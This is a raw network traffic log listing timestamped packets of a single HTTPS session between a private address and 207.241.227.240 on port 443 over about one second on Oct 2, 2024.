Oct 2, 2024 05:28:30.468859911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.468873978 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.468883038 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.468907118 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.468933105 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.469322920 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.469347000 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.469391108 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.469399929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.469419003 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.469432116 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.469712019 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.469727993 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.469765902 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.469773054 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.469795942 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.469815969 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.470161915 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.470179081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.470216036 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.470222950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.470263004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.470263004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.470565081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.470580101 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.470614910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.470621109 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.470647097 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.470663071 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.488640070 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.488656044 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.488729000 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.488743067 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.488780975 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.538192034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.538224936 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.538312912 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.538335085 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.538357973 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.538379908 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.561548948 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.561568022 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.561644077 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.561674118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.561769009 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.562098980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.562114954 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.562159061 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.562166929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.562205076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.562598944 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.562614918 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.562659979 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.562668085 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.562697887 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.562721968 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.563133001 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.563147068 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.563196898 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.563205004 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.563251019 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.563812971 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.563832045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.563895941 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.563904047 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.563925982 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.563947916 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.564328909 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.564344883 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.564383984 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.564389944 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.564450026 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.564686060 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.581533909 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.581552982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.581660032 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.581672907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.581712961 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.626816988 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.626837015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.626965046 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.626980066 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.627027988 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.649869919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.649888039 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.649964094 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.649974108 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650016069 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650038004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650238991 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650254011 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650300980 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650306940 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650355101 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650374889 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650664091 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650679111 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650727034 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650734901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.650767088 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.650815964 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.651118994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651134968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651185036 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.651192904 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651221991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.651245117 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.651750088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651766062 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651823044 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.651837111 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651882887 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.651973963 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.651995897 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.652035952 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.652044058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.652077913 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.652097940 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.671047926 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.671067953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.671178102 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.671197891 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.671297073 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.717384100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.717401028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.717484951 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.717505932 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.717545033 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.740401030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.740418911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.740513086 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.740523100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.740613937 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.740765095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.740782022 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.740828991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.740844011 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.740886927 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.741137981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741158962 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741199017 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.741205931 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741245031 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.741261005 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.741532087 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741549969 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741597891 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.741604090 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741651058 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.741935015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741949081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.741988897 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.742000103 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.742022991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.742044926 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.742391109 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.742404938 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.742453098 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.742460966 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.742506027 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.761418104 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.761435032 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.761506081 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.761513948 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.761548996 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.808125019 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.808140993 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.808265924 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.808283091 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.808320999 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.831007004 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831023932 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831135035 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.831149101 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831216097 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.831301928 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831316948 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831376076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.831387997 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831429005 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.831691027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831706047 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831756115 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.831762075 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.831801891 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.832149982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.832185030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.832211971 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.832218885 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.832251072 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.832271099 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.832658052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.832673073 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.832736015 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.832742929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.832798004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.833003044 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.833010912 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.833020926 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.833070040 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.833077908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.833117008 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.833203077 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.851937056 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.851955891 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.852041960 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.852070093 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.852119923 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.898762941 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.898782969 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.898868084 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.898886919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.898938894 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.921713114 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.921751022 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.921802044 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.921819925 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.921821117 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.921859980 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922199965 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922283888 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922307014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922352076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922365904 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922401905 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922493935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922528028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922550917 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922558069 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922580957 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922594070 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.922933102 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.922947884 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923001051 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.923008919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923049927 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.923347950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923355103 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923399925 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.923413992 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923455954 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.923751116 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923765898 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923815012 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.923820972 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.923858881 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.942564964 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.942584038 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.942684889 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.942693949 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.942734957 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.989379883 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.989409924 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.989551067 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.989558935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.989605904 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.012339115 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.012361050 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.012448072 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.012458086 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.012497902 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.012674093 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.012690067 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.012739897 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.012746096 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.012789011 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.013113976 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013129950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013185024 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.013191938 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013242006 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.013550043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013565063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013609886 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.013616085 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013649940 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.013890028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013905048 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013948917 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.013955116 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.013992071 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.014292002 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.014307976 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.014349937 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.014355898 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.014391899 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.033107996 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.033132076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.033184052 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.033191919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.033231974 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.079904079 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.079927921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.080032110 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.080053091 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.080101967 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.102993965 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103017092 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103094101 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.103104115 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103157043 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.103348017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103368044 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103414059 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.103420973 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103458881 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.103822947 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103837013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103895903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.103903055 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.103950024 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.104165077 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.104180098 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.104229927 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.104237080 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.104269028 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.104652882 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.104671001 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.104711056 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.104717016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.104753017 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.105009079 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.105029106 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.105071068 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.105077028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.105112076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.123688936 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.123713017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.123784065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.123801947 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.123838902 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.170594931 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.170623064 CEST	443	49704	207.241.227.240	192.168.2.8
